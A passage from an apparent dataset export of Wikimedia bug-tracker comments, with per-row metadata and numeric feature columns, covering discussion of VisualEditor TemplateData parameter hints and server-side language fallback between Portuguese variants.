http://i.imgur.com/VPROUwb.png",,,1372596044,,PHID-USER-2mkpm2voxepwvz7abjug,False,,,PHID-TASK-ey46lj4dpzgt5ypwdhi4,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,15.0,2.0,7.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,7.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,2.0,0.0,9.0,0.0,0.0,0.0,3.717391304347826,0.6739130434782609,"When I make a new template entry and open the template before I've saved the page, it looks like following:
URL

But after having saved the page, and enter template edit again, I'm getting following:
URL"
239442,VisualEditor: TemplateData hints doesn't show up on parameters in transclusion dialog,"(In reply to comment #0)
> After having saved a template on a page

By a template, you mean a template transclusion or the template itself?


> and edit it again, template data for
> the template is visible, but any parameter used is not showing templatedata,

So when you edit the tranclusion with VisualEditor template data for the template is visible but not for the parameters? What does that mean?

You say it is visible for the template but not for the parameters. So what is visible then?

> even though it displayed it correctly when I created the template

Displayed what?",,,1372557963,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ey46lj4dpzgt5ypwdhi4,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,2.0,4.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,17.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,10.0,4.0,14.0,1.0,4.0,11.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,6.0,10.0,1.0,6.0,0.0,0.0,6.0,0.0,5.0,2.0,1.0,0.0,0.0,0.0,0.0,3.8674698795180724,0.5542168674698795,"(In reply to comment #0)
QUOTE

By a template, you mean a template transclusion or the template itself?


QUOTE
QUOTE

So when you edit the tranclusion with VisualEditor template data for the template is visible but not for the parameters? What does that mean?

You say it is visible for the template but not for the parameters. So what is visible then?

QUOTE

Displayed what?"
52431,TemplateData: Process language fallback and conversion server-side,"After I added the <templatedata> to [[pt:Template:Referências]], I opened a page in which it is used, setting ""uselang=pt"" and ""uselang=pt-br"" in the URL:
1) https://pt.wikipedia.org/wiki/Arte?veaction=edit&uselang=pt
2) https://pt.wikipedia.org/wiki/Arte?veaction=edit&uselang=pt-br
In the first case, when I opened the Transclusion dialog (by clicking in the references section, where the template is used) the template description was shown (as expected). Typing one of the template parameters, I also get its label normally.

On the other hand, for the second link the user language (pt-br) was different from the content language (pt) and the user see no description and no labels.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50888",High,80.0,1372534860,1381172295.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-uydrcj3p2rhxycgc65tn,task_description,resolved,True,c1,2,False,False,False,-1,,0.0,0.0,0.0,1.5,0.0,3.0,0.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,2.0,0.0,3.0,6.5,0.0,0.5,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,0.0,2.0,2.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.5,0.0,0.5,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.5,2.0,10.5,1.0,1.5,9.5,0.0,0.0,0.0,0.0,0.5,0.0,1.5,0.0,3.0,6.5,3.5,0.0,2.0,0.0,3.0,0.0,1.5,0.5,0.0,1.5,0.0,0.0,3.5,3.403081232492997,0.5976190476190476,"After I added the <templatedata> to [[pt:Template:Referências]], I opened a page in which it is used, setting ""uselang=pt"" and ""uselang=pt-br"" in the URL:
1) URL
2) URL
In the first case, when I opened the Transclusion dialog (by clicking in the references section, where the template is used) the template description was shown (as expected). Typing one of the template parameters, I also get its label normally.

On the other hand, for the second link the user language (pt-br) was different from the content language (pt) and the user see no description and no labels.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
238912,TemplateData: Process language fallback and conversion server-side,"Change 87724 merged by jenkins-bot:
Implement getInterfaceTextInLanguage and use API and Parser

https://gerrit.wikimedia.org/r/87724",,,1381172101,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.388888888888889,0.9444444444444444,"Change 87724 merged by jenkins-bot:
Implement getInterfaceTextInLanguage and use API and Parser

GERRIT_URL"
238906,TemplateData: Process language fallback and conversion server-side,"Change 87724 had a related patch set uploaded by Krinkle:
Implement getIntefaceTextInLanguage and use API and Parser

https://gerrit.wikimedia.org/r/87724",,,1381078137,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,29.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.380952380952381,0.9523809523809523,"Change 87724 had a related patch set uploaded by Krinkle:
Implement getIntefaceTextInLanguage and use API and Parser

GERRIT_URL"
238900,TemplateData: Process language fallback and conversion server-side,"(In reply to comment #14)
> Oh. I assumed the jQuery.i18n (or one of the other JS, MW-independent tools
> that the Language Engineering team have built) would have this built in. Is
> that not the case?

I can't say there isn't one but I've never heard of this.

BTW I also want a similar one on server side.",,,1374922596,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,2.0,7.0,0.0,12.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,19.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,5.0,0.0,7.0,9.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.9069767441860463,0.7674418604651163,"(In reply to comment #14)
QUOTE
QUOTE
QUOTE

I can't say there isn't one but I've never heard of this.

BTW I also want a similar one on server side."
238893,TemplateData: Process language fallback and conversion server-side,"(In reply to comment #17)
> Also, this way we can provide good values for languages that don't exactly
> fallback but use a language converter. Which is also something that could
> potentially be done client side, but I don't see that happening just yet.

Which isn't really doable currently I guess; or it requires delivery of huge conversion tables (for Chinese).",,,1374920975,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,19.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,5.0,11.0,8.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6216216216216215,0.8378378378378378,"(In reply to comment #17)
QUOTE
QUOTE
QUOTE

Which isn't really doable currently I guess; or it requires delivery of huge conversion tables (for Chinese)."
238887,TemplateData: Process language fallback and conversion server-side,"Also, this way we can provide good values for languages that don't exactly fallback but use a language converter. Which is also something that could potentially be done client side, but I don't see that happening just yet.",,,1374863198,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,True,,,3,,0.0,2.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,18.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,16.0,5.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,2.0,0.0,2.0,5.0,7.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,7.0,2.0,0.0,2.0,0.0,0.0,0.0,4.204545454545454,0.8409090909090909,"Also, this way we can provide good values for languages that don't exactly fallback but use a language converter. Which is also something that could potentially be done client side, but I don't see that happening just yet."
238882,TemplateData: Process language fallback and conversion server-side,"For now this is up to the client side to handle, which realistically means it won't be handled (current language > en > nothing).


For the future I intend to have the templatedata API take a parameter for language code and resolve it on the server side. For three reasons:

* On wikis where there is more than 1 language commonly used (which is the whole point of this bug and where it is relevant, since if there is only 1 language, the wiki author can just specify { ""description"": ""Text."" } without lang-codes)..., on those wikis there will be more than 1 language defined. This will result in a large blob of JSON being transferred to e.g. VisualEditor for each template which is quite a lot of data.

* Even so, it would then still require the client-side to have knowledge of all of this and process it. Which involves a lot of language data being send to the client, a lot of translations being sent to the client, and the then client having to do all the computation for it. We can solve this the same way we solved it in ResourceLoader; We'll still cache it, but fragment it by language code based on request context.",,,1374863078,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,True,,,3,,1.0,0.0,0.0,1.0,0.3333333333333333,2.6666666666666665,1.3333333333333333,0.0,0.0,0.3333333333333333,1.0,0.6666666666666666,0.0,0.3333333333333333,1.0,1.6666666666666667,0.0,5.0,12.666666666666666,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,1.3333333333333333,1.6666666666666667,3.0,0.6666666666666666,3.3333333333333335,0.0,0.0,0.0,1.0,0.0,1.3333333333333333,0.0,0.0,0.3333333333333333,1.0,0.0,1.0,0.0,0.0,0.0,15.0,1.0,1.0,0.3333333333333333,2.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,1.3333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,6.333333333333333,3.6666666666666665,5.333333333333333,1.3333333333333333,2.0,11.333333333333334,0.0,0.0,0.0,0.0,6.0,0.0,1.3333333333333333,0.0,5.0,12.666666666666666,1.3333333333333333,0.0,1.3333333333333333,0.0,5.0,0.0,2.0,1.6666666666666667,0.0,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,3.7676402689952826,0.7220716651610961,"For now this is up to the client side to handle, which realistically means it won't be handled (current language > en > nothing).


For the future I intend to have the templatedata API take a parameter for language code and resolve it on the server side. For three reasons:

* On wikis where there is more than 1 language commonly used (which is the whole point of this bug and where it is relevant, since if there is only 1 language, the wiki author can just specify { ""description"": ""Text."" } without lang-codes)..., on those wikis there will be more than 1 language defined. This will result in a large blob of JSON being transferred to e.g. VisualEditor for each template which is quite a lot of data.

* Even so, it would then still require the client-side to have knowledge of all of this and process it. Which involves a lot of language data being send to the client, a lot of translations being sent to the client, and the then client having to do all the computation for it. We can solve this the same way we solved it in ResourceLoader; We'll still cache it, but fragment it by language code based on request context."
238876,TemplateData: Process language fallback and conversion server-side,"(In reply to comment #8)
> (In reply to comment #6)
> > So I'm not too Wikidata-savvy, but it seems this patch might be useful (if
> > it's
> > not, ignore me and carry on):
> > 
> > https://gerrit.wikimedia.org/r/72867
> > 
> > Right now there is no way to determine the real language of a message from
> > the
> > CDB cache. That patch changes this.
> 
> Not really. Labels and descriptions in TemplateData are stored in some JSON
> blob in a customized format, rather than normal messages.

Gotcha. Carry on. Sorry I couldn't help.",,,1374862510,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,2.0,2.0,0.0,2.0,7.0,31.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.977777777777778,0.4222222222222222,"(In reply to comment #8)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Gotcha. Carry on. Sorry I couldn't help."
238872,TemplateData: Process language fallback and conversion server-side,"(In reply to comment #13)
> (In reply to comment #12)
> > (In reply to comment #11)
> > > (In reply to comment #9)
> > > > I don't think that's a good outcome. If there isn't a description in your
> > > > language (in this case, pt), we shouldn't magically tell you that we've given
> > > > you a message in a different language (we don't do this for the MW messages
> > > > framework, for instance).
> > > 
> > > BTW this comment means WONTFIXing this whole bug.
> > 
> > Why?
> > 
> > This is just me saying that I don't think that instead of ""Chien"", if it
> > doesn't exist in French we should give users ""Dog -- OMG We gave you this
> > message in English even though you asked for it in French!"", which feels
> > significant over-kill.
> 
> Then I guess your point is that pt-br and pt are more similar, so falling
> back from pt to pt-br is acceptable, while fr and en are not this case.

Yes.

> However technically pt-br and pt have the same relationship as fr and en,
> or we'll have to compose some language similarity table ourselves, and manage
> to resolve many edge cases (eg. dialects).

Oh. I assumed the jQuery.i18n (or one of the other JS, MW-independent tools that the Language Engineering team have built) would have this built in. Is that not the case?",,,1374862470,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,1.0,33.0,0.0,1.0,6.0,0.0,0.0,0.0,1.0,2.0,1.0,2.0,0.0,1.0,4.0,26.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.223404255319149,0.43617021276595747,"(In reply to comment #13)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yes.

QUOTE
QUOTE
QUOTE

Oh. I assumed the jQuery.i18n (or one of the other JS, MW-independent tools that the Language Engineering team have built) would have this built in. Is that not the case?"
238864,TemplateData: Process language fallback and conversion server-side,"(In reply to comment #12)
> (In reply to comment #11)
> > (In reply to comment #9)
> > > I don't think that's a good outcome. If there isn't a description in your
> > > language (in this case, pt), we shouldn't magically tell you that we've given
> > > you a message in a different language (we don't do this for the MW messages
> > > framework, for instance).
> > 
> > BTW this comment means WONTFIXing this whole bug.
> 
> Why?
> 
> This is just me saying that I don't think that instead of ""Chien"", if it
> doesn't exist in French we should give users ""Dog -- OMG We gave you this
> message in English even though you asked for it in French!"", which feels
> significant over-kill.

Then I guess your point is that pt-br and pt are more similar, so falling back from pt to pt-br is acceptable, while fr and en are not this case. However technically pt-br and pt have the same relationship as fr and en, or we'll have to compose some language similarity table ourselves, and manage to resolve many edge cases (eg. dialects).",,,1374859742,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,False,,,3,,1.5,0.0,0.0,0.0,1.0,4.0,2.5,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,4.5,6.5,0.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,0.5,0.0,1.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,12.5,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.5,10.0,1.5,5.0,2.5,0.0,0.0,0.0,0.5,4.0,0.0,0.5,0.0,2.5,6.5,13.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,1.0,0.5,0.5,0.0,0.0,3.3530099357101113,0.6076855639976622,"(In reply to comment #12)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Then I guess your point is that pt-br and pt are more similar, so falling back from pt to pt-br is acceptable, while fr and en are not this case. However technically pt-br and pt have the same relationship as fr and en, or we'll have to compose some language similarity table ourselves, and manage to resolve many edge cases (eg. dialects)."
238856,TemplateData: Process language fallback and conversion server-side,"(In reply to comment #11)
> (In reply to comment #9)
> > I don't think that's a good outcome. If there isn't a description in your
> > language (in this case, pt), we shouldn't magically tell you that we've given
> > you a message in a different language (we don't do this for the MW messages
> > framework, for instance).
> 
> BTW this comment means WONTFIXing this whole bug.

Why?

This is just me saying that I don't think that instead of ""Chien"", if it doesn't exist in French we should give users ""Dog -- OMG We gave you this message in English even though you asked for it in French!"", which feels significant over-kill.",,,1374858682,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,1.0,1.0,6.0,2.0,0.0,0.0,0.0,5.0,0.0,7.0,14.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,4.0,2.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,22.0,6.0,0.0,4.0,0.0,0.0,1.0,1.0,5.0,0.0,1.0,0.0,10.0,14.0,13.0,1.0,5.0,0.0,10.0,0.0,2.0,0.0,1.0,1.0,0.0,0.0,0.0,3.2409638554216866,0.7108433734939759,"(In reply to comment #11)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Why?

This is just me saying that I don't think that instead of ""Chien"", if it doesn't exist in French we should give users ""Dog -- OMG We gave you this message in English even though you asked for it in French!"", which feels significant over-kill."
238851,TemplateData: Process language fallback and conversion server-side,"(In reply to comment #9)
> I don't think that's a good outcome. If there isn't a description in your
> language (in this case, pt), we shouldn't magically tell you that we've given
> you a message in a different language (we don't do this for the MW messages
> framework, for instance).

BTW this comment means WONTFIXing this whole bug.",,,1374858103,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.3846153846153846,0.6923076923076923,"(In reply to comment #9)
QUOTE
QUOTE
QUOTE
QUOTE

BTW this comment means WONTFIXing this whole bug."
238845,TemplateData: Process language fallback and conversion server-side,"(In reply to comment #9)
> (In reply to comment #7)
> > (In reply to comment #5)
> > > Fine technically - I think users would be upset and confused.
> > 
> > So you'll need to prepare for some interface design to tell users that ""Some
> > text written in English"" and ""Some other text written in Spanish"" lines are
> > not in pt.
> 
> Why couldn't the TemplateData just be written in the users's language?

You can't expect all templatedata blocks to have labels in all hundreds of languages which MediaWiki supports.

> > And the format of JSON needs to be modified to include this info.
> 
> I don't think that's a good outcome. If there isn't a description in your
> language (in this case, pt), we shouldn't magically tell you that we've given
> you a message in a different language (we don't do this for the MW messages
> framework, for instance).

We do so in Wikibase, if the user indicates that they can read another language -- in our implementation it checks {{#babel: }} currently but some global preferences here will be nice of course.",,,1374858004,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,False,,,3,,3.0,0.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,2.0,0.0,4.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,3.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,20.0,2.0,1.0,6.0,0.0,0.0,0.0,2.0,5.0,0.0,1.0,0.0,5.0,10.0,13.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7,0.62,"(In reply to comment #9)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

You can't expect all templatedata blocks to have labels in all hundreds of languages which MediaWiki supports.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

We do so in Wikibase, if the user indicates that they can read another language -- in our implementation it checks {{#babel: }} currently but some global preferences here will be nice of course."
238840,TemplateData: Process language fallback and conversion server-side,"(In reply to comment #7)
> (In reply to comment #5)
> > Fine technically - I think users would be upset and confused.
> 
> So you'll need to prepare for some interface design to tell users that ""Some
> text written in English"" and ""Some other text written in Spanish"" lines are
> not in pt.

Why couldn't the TemplateData just be written in the users's language?

> And the format of JSON needs to be modified to include this info.

I don't think that's a good outcome. If there isn't a description in your language (in this case, pt), we shouldn't magically tell you that we've given you a message in a different language (we don't do this for the MW messages framework, for instance).",,,1374857740,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,1.0,5.0,2.0,0.0,0.0,0.0,1.0,5.0,6.0,0.0,0.0,1.0,4.0,0.0,8.0,10.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,1.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,1.0,0.0,0.0,0.0,7.0,2.0,13.0,3.0,0.0,10.0,0.0,0.0,0.0,1.0,5.0,0.0,1.0,0.0,7.0,10.0,7.0,1.0,0.0,0.0,7.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,0.5612244897959183,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Why couldn't the TemplateData just be written in the users's language?

QUOTE

I don't think that's a good outcome. If there isn't a description in your language (in this case, pt), we shouldn't magically tell you that we've given you a message in a different language (we don't do this for the MW messages framework, for instance)."
238833,TemplateData: Process language fallback and conversion server-side,"(In reply to comment #6)
> So I'm not too Wikidata-savvy, but it seems this patch might be useful (if
> it's
> not, ignore me and carry on):
> 
> https://gerrit.wikimedia.org/r/72867
> 
> Right now there is no way to determine the real language of a message from
> the
> CDB cache. That patch changes this.

Not really. Labels and descriptions in TemplateData are stored in some JSON blob in a customized format, rather than normal messages.",,,1374856941,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,False,,,3,,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,27.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,12.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.7058823529411766,0.6274509803921569,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Not really. Labels and descriptions in TemplateData are stored in some JSON blob in a customized format, rather than normal messages."
238827,TemplateData: Process language fallback and conversion server-side,"(In reply to comment #5)
> Fine technically - I think users would be upset and confused.

So you'll need to prepare for some interface design to tell users that ""Some text written in English"" and ""Some other text written in Spanish"" lines are not in pt.

And the format of JSON needs to be modified to include this info. Like:

{
    ""pages"": {
        ""1467239"": {
            ""title"": ""Predefini\u00e7\u00e3o:Refer\u00eancias"",
            ""description"": {
                ""pt"": { ""value"": ""Some text written in English"", ""language"": ""en"" }
            },
            ""params"": {
                ""t\u00edtulo"": {
                    ""label"": {
                        ""pt"": { ""value"": ""Some other text written in Spanish"", ""language"": ""es"" }
                    },
                    ...
            }
            ...
     }
